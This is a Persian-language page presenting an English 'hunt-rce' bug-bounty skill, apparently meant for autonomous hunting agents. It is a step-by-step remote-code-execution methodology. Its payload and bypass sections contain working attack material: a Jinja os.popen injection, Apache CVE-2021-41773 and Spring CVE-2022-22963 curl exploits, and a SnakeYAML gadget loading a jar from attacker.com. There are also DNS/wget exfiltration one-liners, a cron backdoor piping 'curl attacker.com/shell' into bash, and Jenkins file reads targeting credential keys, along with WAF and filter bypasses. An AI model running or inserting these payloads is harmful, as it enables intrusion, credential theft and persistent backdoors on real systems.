hunt-rce

skillupstreamکلاس آسیب‌پذیریگزارش: ۸۷۳۰ کیلوبایت۱۱ بخش

اسکیل کلاس آسیب‌پذیری برای RCE — استخراج‌شده از ۶۷ گزارش عمومی باگ‌بانتی. وقتی روی هر هدفی شکار RCE می‌کنی از آن استفاده کن.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for rce vulnerabilities. Built from 67 public bug bounty reports. Use when hunting rce on any target.

فلوی اجرای گام‌به‌گام

◆
hunt-rceشروع اجرا
۱
‏اول کانتکست‌های اجرا را نقشه کن. پیش از تست payload، همه‌جایی که ورودی کنترل‌شده‌ی کاربر به لایه‌ی اجرا می‌رسد شناسایی کن: موتورهای template، دستورات shell، parserهای YAML، مسیرهای فایل مورداستفاده در عملیات، resolve مربوط به پکیج و فایل‌های پیکربندی.
۲
‏رابط‌های admin/مدیریت را enumerate کن. برای `/management-console`، `/admin`، `/_internal`، `/setup`، `/config` crawl بزن. این سطوح auth پایین‌تر و امتیاز بالاتر دارند — کلاستر GHES از یک نقش کنسول ۶ RCE جدا تولید کرد.
۳
‏تزریق template را در هر فیلد پیکربندی چک کن. در هر UI مدیریتی که پیکربندی آزاد می‌پذیرد (مقصدهای لاگ، فرمت‌های اعلان، تنظیمات proxy)، مقادیر `{{7*7}}`، `${7*7}`، `<%= 7*7 %>` را ارسال کن. دنبال `49` در پاسخ‌ها، لاگ‌ها یا callbackهای DNS بگرد.
۴
‏ورودی YAML/XML/serialized را برای اجرای کد تست کن. هر endpointی که `Content-Type: application/yaml` یا `application/xml` می‌پذیرد:
۵
‏Dependency confusion را شکار کن. برای هر نام پکیج داخلی npm/pip/gem که در bundleهای JS، پیام‌های خطا یا `package.json` در repoهای عمومی دیده می‌شود — پکیجی با ورژن بالاتر روی registry عمومی ثبت کن که به callback میاری اشاره کند.
۶
‏عملیات مسیر فایل را برای traversal ← اجرا چک کن. ActiveStorage، handlerهای آپلود فایل، عملیات symlink: مقدار `../../../etc/cron.d/shell` را به‌عنوان filename بفرست. نوشتن را تأیید کن بعد اجرا را trigger کن.
۷
‏سطوح Kubernetes/cloud-native را ممیزی کن. `kubectl` را علیه هر API server درمعرض اجرا کن. annotationهای ingress را چک کن، مخصوصاً `nginx.ingress.kubernetes.io/configuration-snippet` و `spec.rules.http.paths.path` برای تزریق Lua/regex.
۸
‏handlerهای redirect URI و URL scheme در OAuth را تست کن. اپ‌های موبایلی که URIهای `javascript:` یا `intent://` را از طریق OAuth redirect پردازش می‌کنند ممکن است JavaScript اجرا کنند. `javascript:alert(document.cookie)` و URIهای scheme سفارشی را امتحان کن.
۹
‏با callbackهای out-of-band تأیید کن. هرگز فقط به خروجی قابل‌مشاهده تکیه نکن. از Burp Collaborator، interactsh یا توکن‌های DNS مربوط به `canarytokens.org` استفاده کن. RCE کور در پردازشگرهای بک‌اند رایج است.
۱۰
‏امتیازها را زنجیره کن. یک misconfiguration کم‌خطر (نقش editor، CSRF، path traversal) به‌علاوه‌ی یک primitive مربوط به RCE برابر critical است. همیشه بپرس: «از اینجا به کجا می‌توانم برسم؟»
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۰ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-rceکلاس آسیب‌پذیری · ۱۱ بخش۱بخش تکمیلی۲اهداف ارزشمند۳سطح حمله و سیگنال‌ها۴مراحل شکار۵Payload و الگوهای تشخیص۶علل ریشه‌ای۷تکنیک‌های Bypass۸دروازه‌ی اعتبارسنجی۹اهداف ارزشمند۱۰زنجیره‌ها و ترکیب‌ها۱۱دروازه‌ی اعتبارسنجی
بخش تکمیلی · ۱اهداف ارزشمند · ۲سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۲علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

بخش تکمیلی

Autonomous Testing Priority
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏Content-Type مهم‌ترین عامل شکست خاموش در command injection است.

فرم‌های سنتی وب از Content-Type: application/x-www-form-urlencoded استفاده می‌کنند. اگر body مربوط به JSON ({"host":"127.0.0.1;id"}) به endpoint فرمی بفرستی، سرور request.form['host'] را می‌خواند و چیزی نمی‌گیرد — اپ به‌صورت عادی و بدون injection اجرا می‌شود و پاسخ ۲۰۰ قابل‌قبول برمی‌گرداند. منفی‌کاذب می‌گیری بدون اینکه نشانه‌ای از مشکل ببینی.

‏قاعده: اگر صفحه فرم HTML دارد (<form method="POST">)، از form-encoding استفاده کن. اگر مسیر /api/... است یا پاسخ JSON است، از JSON استفاده کن.

‏اپراتورهای command injection برای تست (به ترتیب شیوع):

value;id        ← Unix semicolon (most common)
value|id        ← pipe
value&&id       ← AND
value$(id)      ← subshell
value`id`       ← backtick

‏اثبات: خروجی دستور سیستم‌عامل (uid=N(username) gid=...) در body پاسخ، اجرای کد را تأیید می‌کند. خروجی ممکن است داخل HTML پیچیده شده باشد — باز هم حساب می‌شود. اگر پاسخ در بقیه‌ی موارد عادی است (۲۰۰، محتوای موردانتظار) و خروجی دستور به آن اضافه یا جاسازی شده، اکسپلویت تأیید است.

۲

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

آسیب‌پذیری‌های RCE بالاترین پاداش‌ها را در برنامه‌های باگ‌بانتی می‌گیرند چون کنترل اجرای مستقیم روی زیرساخت هدف به مهاجم می‌دهند. باارزش‌ترین اهداف:

‏پردرآمدترین نوع‌های دارایی:

  • ‏محصولات سرور سازمانی (GitHub Enterprise Server، GitLab خودمیزبان) — زنجیره‌های افزایش امتیاز از نقش‌های کنسول کم‌امتیاز تا دسترسی SSH مربوط به root پیوسته critical/high پرداخت می‌کنند
  • ‏زنجیره‌ی تأمین / registryهای پکیج — حملات dependency confusion علیه npm، PyPI و غیره در همه‌ی برنامه‌های بزرگ severity مربوط به critical می‌گیرند
  • ‏زیرساخت cloud-native — API serverهای درمعرض Kubernetes، ingress controllerها و pipelineهای CI/CD ناپیکربندی‌شده
  • ‏بک‌اندهای اپ موبایل و فلوهای OAuth — جایی که پردازش سمت‌سرور داده‌ی کنترل‌شده‌ی مهاجم به کانتکست‌های اجرا می‌رسد
  • ‏کنسول‌های admin/مدیریت — تزریق template در پنل‌های پیکربندی با یک payload به root می‌رسد

‏چرا این کلاس بیشترین پرداخت را دارد:

  • ‏شعاع انفجارش در سطح زیرساخت است، نه محدود به کاربر
  • ‏اثبات آن غیرقابل‌انکار است — خروجی shell جای بحث نمی‌گذارد
  • ‏رفعش به تغییر معماری نیاز دارد، نه فقط یک پچ
  • ‏برنامه‌ها توان منفی‌کاذب روی RCE را ندارند
۳

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

الگوهای URL
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=
هدرهای پاسخ / سیگنال‌های پشته‌ی فنی
X-Powered-By: Express          # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx)  # Kubernetes ingress — path field injection
X-Runtime: Ruby                # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version    # GHAS — nomad template, collectd, syslog-ng injection
سیگنال‌های JavaScript / فرانت‌اند
// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled  // URL scheme bypass → JS execution
سیگنال‌های پشته‌ی فنی
سیگنالبردار RCE
nomad در UI پیکربندیتزریق template ← {{ ... }}
پیکربندی syslog-ng قابل‌ویرایشتزریق config ← مقصد program()
پیکربندی collectd قابل‌ویرایشتزریق exec مربوط به plugin
SnakeYAML در classpath!!javax.script.ScriptEngineManager [...]
scope داخلی در package.json مربوط به npmDependency confusion
annotationهای ingress-nginxدورزدن regex مربوط به فیلد path
۴

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏اول کانتکست‌های اجرا را نقشه کن. پیش از تست payload، همه‌جایی که ورودی کنترل‌شده‌ی کاربر به لایه‌ی اجرا می‌رسد شناسایی کن: موتورهای template، دستورات shell، parserهای YAML، مسیرهای فایل مورداستفاده در عملیات، resolve مربوط به پکیج و فایل‌های پیکربندی.
  1. ‏رابط‌های admin/مدیریت را enumerate کن. برای /management-console، /admin، /_internal، /setup، /config crawl بزن. این سطوح auth پایین‌تر و امتیاز بالاتر دارند — کلاستر GHES از یک نقش کنسول ۶ RCE جدا تولید کرد.
  1. ‏تزریق template را در هر فیلد پیکربندی چک کن. در هر UI مدیریتی که پیکربندی آزاد می‌پذیرد (مقصدهای لاگ، فرمت‌های اعلان، تنظیمات proxy)، مقادیر {{7*7}}، ${7*7}، <%= 7*7 %> را ارسال کن. دنبال 49 در پاسخ‌ها، لاگ‌ها یا callbackهای DNS بگرد.
  1. ‏ورودی YAML/XML/serialized را برای اجرای کد تست کن. هر endpointی که Content-Type: application/yaml یا application/xml می‌پذیرد:
  • ‏SnakeYAML: گجت !!javax.script.ScriptEngineManager را بفرست
  • ‏YAML مربوط به Ruby: گجت !ruby/object:Gem::Installer را بفرست
  • ‏REXML: XML مربوط به billion-laughs / quadratic blowup را بفرست
  1. ‏Dependency confusion را شکار کن. برای هر نام پکیج داخلی npm/pip/gem که در bundleهای JS، پیام‌های خطا یا package.json در repoهای عمومی دیده می‌شود — پکیجی با ورژن بالاتر روی registry عمومی ثبت کن که به callback میاری اشاره کند.
  1. ‏عملیات مسیر فایل را برای traversal ← اجرا چک کن. ActiveStorage، handlerهای آپلود فایل، عملیات symlink: مقدار ../../../etc/cron.d/shell را به‌عنوان filename بفرست. نوشتن را تأیید کن بعد اجرا را trigger کن.
  1. ‏سطوح Kubernetes/cloud-native را ممیزی کن. kubectl را علیه هر API server درمعرض اجرا کن. annotationهای ingress را چک کن، مخصوصاً nginx.ingress.kubernetes.io/configuration-snippet و spec.rules.http.paths.path برای تزریق Lua/regex.
  1. ‏handlerهای redirect URI و URL scheme در OAuth را تست کن. اپ‌های موبایلی که URIهای javascript: یا intent:// را از طریق OAuth redirect پردازش می‌کنند ممکن است JavaScript اجرا کنند. javascript:alert(document.cookie) و URIهای scheme سفارشی را امتحان کن.
  1. ‏با callbackهای out-of-band تأیید کن. هرگز فقط به خروجی قابل‌مشاهده تکیه نکن. از Burp Collaborator، interactsh یا توکن‌های DNS مربوط به canarytokens.org استفاده کن. RCE کور در پردازشگرهای بک‌اند رایج است.
  1. ‏امتیازها را زنجیره کن. یک misconfiguration کم‌خطر (نقش editor، CSRF، path traversal) به‌علاوه‌ی یک primitive مربوط به RCE برابر critical است. همیشه بپرس: «از اینجا به کجا می‌توانم برسم؟»
مراحل استخراج‌شده
  1. ۱‏اول کانتکست‌های اجرا را نقشه کن. پیش از تست payload، همه‌جایی که ورودی کنترل‌شده‌ی کاربر به لایه‌ی اجرا می‌رسد شناسایی کن: موتورهای template، دستورات shell، parserهای YAML، مسیرهای فایل مورداستفاده در عملیات، resolve مربوط به پکیج و فایل‌های پیکربندی.
  2. ۲‏رابط‌های admin/مدیریت را enumerate کن. برای `/management-console`، `/admin`، `/_internal`، `/setup`، `/config` crawl بزن. این سطوح auth پایین‌تر و امتیاز بالاتر دارند — کلاستر GHES از یک نقش کنسول ۶ RCE جدا تولید کرد.
  3. ۳‏تزریق template را در هر فیلد پیکربندی چک کن. در هر UI مدیریتی که پیکربندی آزاد می‌پذیرد (مقصدهای لاگ، فرمت‌های اعلان، تنظیمات proxy)، مقادیر `{{7*7}}`، `${7*7}`، `<%= 7*7 %>` را ارسال کن. دنبال `49` در پاسخ‌ها، لاگ‌ها یا callbackهای DNS بگرد.
  4. ۴‏ورودی YAML/XML/serialized را برای اجرای کد تست کن. هر endpointی که `Content-Type: application/yaml` یا `application/xml` می‌پذیرد:
  5. ۵‏SnakeYAML: گجت `!!javax.script.ScriptEngineManager` را بفرست
  6. ۶‏YAML مربوط به Ruby: گجت `!ruby/object:Gem::Installer` را بفرست
  7. ۷‏REXML: XML مربوط به billion-laughs / quadratic blowup را بفرست
  8. ۸‏Dependency confusion را شکار کن. برای هر نام پکیج داخلی npm/pip/gem که در bundleهای JS، پیام‌های خطا یا `package.json` در repoهای عمومی دیده می‌شود — پکیجی با ورژن بالاتر روی registry عمومی ثبت کن که به callback میاری اشاره کند.
  9. ۹‏عملیات مسیر فایل را برای traversal ← اجرا چک کن. ActiveStorage، handlerهای آپلود فایل، عملیات symlink: مقدار `../../../etc/cron.d/shell` را به‌عنوان filename بفرست. نوشتن را تأیید کن بعد اجرا را trigger کن.
  10. ۱۰‏سطوح Kubernetes/cloud-native را ممیزی کن. `kubectl` را علیه هر API server درمعرض اجرا کن. annotationهای ingress را چک کن، مخصوصاً `nginx.ingress.kubernetes.io/configuration-snippet` و `spec.rules.http.paths.path` برای تزریق Lua/regex.
  11. ۱۱‏handlerهای redirect URI و URL scheme در OAuth را تست کن. اپ‌های موبایلی که URIهای `javascript:` یا `intent://` را از طریق OAuth redirect پردازش می‌کنند ممکن است JavaScript اجرا کنند. `javascript:alert(document.cookie)` و URIهای scheme سفارشی را امتحان کن.
  12. ۱۲‏با callbackهای out-of-band تأیید کن. هرگز فقط به خروجی قابل‌مشاهده تکیه نکن. از Burp Collaborator، interactsh یا توکن‌های DNS مربوط به `canarytokens.org` استفاده کن. RCE کور در پردازشگرهای بک‌اند رایج است.
  13. ۱۳‏امتیازها را زنجیره کن. یک misconfiguration کم‌خطر (نقش editor، CSRF، path traversal) به‌علاوه‌ی یک primitive مربوط به RCE برابر critical است. همیشه بپرس: «از اینجا به کجا می‌توانم برسم؟»
۵

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

پروب‌های تزریق template
# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}

# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}
Path traversal مربوط به alias در Apache HTTP Server ‏(CVE-2021-41773 / CVE-2021-42013)

باگ نرمال‌سازی مسیر در Apache 2.4.49 (و دورزدن پچ در 2.4.50) به مهاجم اجازه می‌دهد از طریق سگمنت‌های dot-encoded و از مسیر مسیرهای alias پیکربندی‌شده از DocumentRoot خارج شود. همین primitive بسته به اینکه کدام alias تراورس را می‌پذیرد impact بسیار متفاوت می‌دهد:

  • ‏Alias بدون Options +ExecCGI (مثل /icons/) ← فقط خواندن فایل دلخواه
  • ‏Alias با Options +ExecCGI (مثل /cgi-bin/) ← اجرای کد دلخواه

‏شناسایی ورژن:

curl -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched:    Apache/2.4.51+

‏تست خواندن فایل (هر alias):

curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by default

‏تست RCE (فقط alias با cgi فعال):

curl --path-as-is -X POST \
  -d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
  "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

‏نکته‌ی انضباط triage: وقتی همان primitive مربوط به path-traversal روی چند alias کار می‌کند ولی فقط یکی CGI فعال دارد، بیشترین impact معیار severity است — نه میانگین. یک یافته‌ی «file read» روی /icons/ باید همیشه با پروب مجدد /cgi-bin/ (و هر alias دیگری که از بلاک‌های <Directory> در افشای server-info یا الگوهای پاسخ دیده می‌شود) escalate شود. به triage-validation Pre-Severity Gate مراجعه کن.

تزریق SpEL در Spring Cloud Function ‏(CVE-2022-22963)

‏Spring Cloud Function ≤ 3.2.2 (و ≤ 3.1.6) هدر spring.cloud.function.routing-expression را روی endpoint مربوط به /functionRouter بدون auth و پیش از هر منطق routing به‌عنوان عبارت SpEL ارزیابی می‌کند. استقرار گسترده در AWS Lambda + Cloud Run + پلتفرم‌های function درون‌سازمانی. غالباً به‌خاطر auto-register شدن /functionRouter و نبود گیت صریح، خارجاً در دسترس است.

‏تشخیص:

  • ‏پورت 8080 سبک Spring با endpointهای تک‌کلماتی مثل /uppercase، /lowercase که ۲۰۰ برمی‌گردانند
  • ‏تأیید با curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test" ← بازگشت TEST
  • ‏بنر ورژن از طریق /actuator/info یا هدرهای پاسخ

‏اکسپلویت:

curl -X POST http://target:8080/functionRouter \
  -H "Content-Type: text/plain" \
  -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
  --data "x"

فرم آرایه‌ای new String[]{"...", "..."} مشکلات quoting مربوط به shell را که فرم رایج‌تر .exec("id") را وقتی هدر SpEL پرانتز یا کوتیشن دارد می‌شکند، دور می‌زند.

‏تعمیم می‌یابد به: هر اپ Spring که ورودی کاربر را به فراخوانی SpelExpressionParser.parseExpression() می‌رساند، مخصوصاً وقتی از مسیر header / query-param تحویل می‌شود که فیلترهای auth عادی را دور می‌زند. برای fingerprinting گسترده‌تر SpEL (*{7*7} = Spring Thymeleaf) به hunt-ssti مراجعه کن.

گجت RCE مربوط به SnakeYAML
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]
RCE مربوط به Ruby YAML / rdoc_options
--- !ruby/object:Gem::Installer
i: x
تشخیص Dependency Confusion
# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null
تزریق path در Ingress-nginx
# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injection
چک API درمعرض Kubernetes
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces
تأیید RCE به‌صورت Out-of-Band
# Payload to confirm blind RCE via DNS
curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)
Path Traversal در ActiveStorage ← RCE
# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash
گسترش فایل با پیشوند `@` در Args4j ‏(خانواده‌ی Jenkins CVE-2024-23897)

‏CLIهای Java ساخته‌شده روی کتابخانه‌ی args4j پیش‌فرض expandAtFiles=true دارند که آرگومان‌های @filename را با خواندن فایل و تلقی هر خط به‌عنوان آرگومان جدا گسترش می‌دهد. وقتی چنین CLIی روی HTTP درمعرض است (Jenkins CLI نمونه‌ی متعارف است)، پیام خطای سمت‌سرور آرگومان‌های ناموفق را پس می‌دهد — و echo آرگومان را به primitive خواندن فایل دلخواه تبدیل می‌کند. بدون احراز هویت وقتی «anonymous read access» روشن است (پیش‌فرض Jenkins در نصب‌های تازه).

‏تشخیص:

  • ‏هدف /cli و /jnlpJars/jenkins-cli.jar را درمعرض دارد (خانواده‌ی Jenkins)
  • ‏یا: هر اپ Java که سورس CLIاش از args4j بدون expandAtFiles=false استفاده می‌کند

‏تست (Jenkins):

# Get the legit CLI jar from the target
curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar

# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash

# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
# → All passwd lines echoed back

# Recon: env vars + JENKINS_HOME path
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environ

‏فایل‌های کلیدی پس از تأیید JENKINS_HOME:

  • ‏/var/jenkins_home/secret.key — کلید رمزنگاری اصلی برای credentialهای ذخیره‌شده
  • ‏/var/jenkins_home/secrets/master.key — کلید رمزنگاری را derive می‌کند
  • ‏/var/jenkins_home/credentials.xml — مخزن credential (رمزشده با secret.key — جفت با ابزار decrypt آفلاین)
  • ‏/var/jenkins_home/users/*/config.xml — توکن‌های API هر کاربر (غالباً رمزنشده)
  • ‏/var/jenkins_home/jobs/*/config.xml — پیکربندی pipelineها که ممکن است کلیدهای AWS، SSH و توکن registry را inline داشته باشند

‏الگو فراتر از Jenkins تعمیم می‌یابد. هر سرویس Java که:

  1. ‏args4j را embed کرده باشد (بیشتر CLIهای سازمانی Java از دهه‌ی ۲۰۱۰)
  2. ‏handler مربوط به CLI را روی HTTP درمعرض داشته باشد (Jenkins، forkهای Hudson، ابزارهای داخلی سفارشی)
  3. ‏خطاهای parse آرگومان را عیناً به کلاینت برگرداند

‏← همان primitive خواندن دلخواه اعمال می‌شود. اعتبارسنجی از طریق triage-validation Reproducibility Gate: نشتی را روی حداقل ۲ دستور متفاوت تأیید کن (مثل help و connect-node) و کنترل کن محتوای فایل واقعاً در پاسخ ظاهر می‌شود، نه فقط یک ۵۰۰ کلی.

الگوهای grep برای بازبینی سورس
# Command injection sinks
grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .

# Template engine instantiation
grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .

# Unsafe YAML load
grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
grep -rn "Yaml()\|new Yaml()" --include="*.java" .
اسکیل‌های مرتبط:
۶

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

‏۱. پیکربندی-به‌عنوان-کد با پاک‌سازی ناکافی

ادمین‌ها فایل‌های پیکربندی (syslog-ng، collectd، nomad) را از طریق UI وب ویرایش می‌کنند. توسعه‌دهندگان فرض می‌کنند admin برابر trusted است، پس مقادیر فیلد را مستقیم به فایل‌های پیکربندی می‌دهند که primitiveهای اجرا پشتیبانی می‌کنند (مقصدهای program()، پلاگین‌های exec، توابع template).

‏۲. موتورهای template در کانتکست‌های ممتاز

‏text/template مربوط به Go، Freemarker، Velocity و Twig برای رندر پیکربندی سیستم استفاده می‌شوند. وقتی رشته‌های کنترل‌شده‌ی کاربر بدون sandbox به این موتورها برسند، کد دلخواه نتیجه می‌شود.

‏۳. Dependency confusion / تصاحب namespace

پکیج‌های داخلی که بدون قفل‌کردن namespace در registry عمومی روی registry خصوصی منتشر می‌شوند. سیستم‌های build که پیش‌فرض registry عمومی را ترجیح می‌دهند، یا وقتی registry خصوصی پکیجی را ندارد به عمومی fallback می‌کنند.

‏۴. Deserialization ناامن YAML/XML

توسعه‌دهندگان از YAML.load() بدون loader امن استفاده می‌کنند، یا new Yaml() ‏(SnakeYAML) بدون محدودیت نوع. YAML.load مربوط به Ruby و SnakeYAML مربوط به Java هر دو پیش‌فرض نمونه‌سازی شی دلخواه را پشتیبانی می‌کنند.

‏۵. Path traversal در زنجیره‌های عملیات فایل

نام‌فایل‌های گرفته‌شده از ورودی کاربر بدون نرمال‌سازی در عملیات filesystem استفاده می‌شوند. Rails ActiveStorage، handlerهای آپلود و generatorهای rdoc به پارامتر filename اعتماد می‌کنند.

‏۶. فرض اینکه نقش‌های کم‌امتیاز به کانتکست اجرا نمی‌رسند

کنسول مدیریت GHES به نقش‌های «Editor» دسترسی به فیلدهای پیکربندی‌ای داد که به اجرای shell می‌رسیدند. توسعه‌دهندگان فرض کردند مرز امتیاز در لایه‌ی معماری بالاتر وجود دارد.

‏۷. نبود اعتبارسنجی ورودی روی فیلدهای رو‌به‌زیرساخت

مقادیر annotation مربوط به ingress/nginx، فیلدهای spec در Kubernetes و URLهای webhook به‌عنوان رشته‌ی مات تلقی می‌شوند — ولی پردازشگر پایین‌دست (generator مربوط به config در nginx، موتور regex) آن‌ها را به‌عنوان کد تفسیر می‌کند.

۷

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

دورزدن: فیلتر متاکاراکترهای shell
# Blocked: ; | & ` $()
# Bypass using $IFS and encodings
cat${IFS}/etc/passwd
{cat,/etc/passwd}
$'\x63\x61\x74' /etc/passwd  # hex encoding
$(printf '\x63\x61\x74') /etc/passwd

# Newline injection when semicolons blocked
payload=$'\ncurl attacker.com\n'
دورزدن: allowlist مربوط به URL scheme ‏(بلاک `javascript:`)
# Mobile apps often block javascript: but miss:
jAvAsCrIpT:alert(1)          # case variation
javascript&#58;alert(1)      # HTML entity
javascript:void(alert(1))    # void wrapper
intent://attacker.com#Intent;scheme=javascript;...
data:text/html,<script>alert(1)</script>
دورزدن: safe_load / محدودیت نوع در YAML
# If !!java.* is blocked, try legitimate classes with side effects
!!com.sun.rowset.JdbcRowSetImpl
  dataSourceName: 'ldap://attacker.com/a'
  autoCommit: true
# Or find allowlisted types with dangerous constructors
دورزدن: محدودیت scope در npm
# If @company/* is monitored, look for unscoped internal names
# e.g., "internal-utils" instead of "@company/internal-utils"
# Public registries serve unscoped packages first
دورزدن: فیلتر path traversal
# Basic filter bypass
../           → ..%2F → %2e%2e%2f → ....//
# Double encoding
%252e%252e%252f
# Unicode normalization
..%c0%af  (overlong UTF-8)
# Null byte (older systems)
../../etc/passwd%00.jpg
دورزدن: تزریق template با فیلتر خروجی
# If {{ }} is sanitized on output but not evaluation:
{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
# Blind — use DNS callback instead of output
{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}
دورزدن: WAF که `exec`، `system`، `popen` را بلاک می‌کند
# Ruby
send(:system, "id")
method(:exec).call("id")
Kernel.send(:`, "id")
Object.const_get(:Kernel).system("id")
۸

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

پیش از نوشتن گزارش، هر سه را تأیید کن:

‏۱. مهاجم همین الان چه کار می‌تواند بکند؟

باید بتوانی یکی از این‌ها را نشان بدهی: اجرای id/whoami و گرفتن خروجی، برقراری callback مربوط به DNS/HTTP از سرور هدف به هاست کنترل‌شده‌ی خودت، نوشتن فایل روی filesystem، یا خواندن /etc/passwd. «شاید بتواند» این دروازه را رد می‌کند.

‏۲. قربانی چه چیزی از دست می‌دهد؟

تأثیر مشخص را بیان کن: exfiltration سورس‌کد، سرقت credential (دیتابیس، کلید API، IAM ابری)، حرکت جانبی به شبکه‌ی داخلی، compromise زنجیره‌ی تأمین کاربران پایین‌دست، تخریب داده. «مهاجم RCE می‌گیرد» کافی نیست — نام جواهرات تاج در خطر را بگو.

‏۳. از صفر در ۱۰ دقیقه بازتولید می‌شود؟

گام‌های بازتولید را پیش از ارسال بنویس. اگر به بیشتر از این‌ها نیاز داری: (الف) یک request مربوط به Burp، (ب) یک فایل payload و (ج) یک listener — ساده‌اش کن. اگر بازتولید به race condition، timing یا state زودگذر نیاز دارد، شرایط دقیق را مستند کن. triagerی که در یک تلاش بازتولید نکند گزارش را downgrade یا close می‌کند.

۹

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏سناریوی A: نقش کنسول مدیریت ← Root Shell ‏(Enterprise Server)

مهاجمی با اکانت کم‌امتیاز «Management Console Editor» روی نمونه‌ی GitHub Enterprise Server متوجه شد UI پیکربندی syslog-ng فیلد «destination» آزاد می‌پذیرد. با تزریق مقصد program() حاوی دستور reverse shell، مهاجم باعث شد دیمون syslog-ng (با امتیاز root) دستورات دلخواه سیستم‌عامل را هنگام دریافت لاگ اجرا کند. همین سطح حمله مستقلاً در پیکربندی پلاگین exec مربوط به collectd و رندر template مربوط به job در nomad هم پیدا شد — همه از همان نقش editor در دسترس. تأثیر: compromise کامل root سرور git سازمانی میزبان همه‌ی سورس‌کد، secretها و pipelineهای CI/CD سازمان.

‏سناریوی B: Dependency Confusion ← RCE روی زیرساخت build

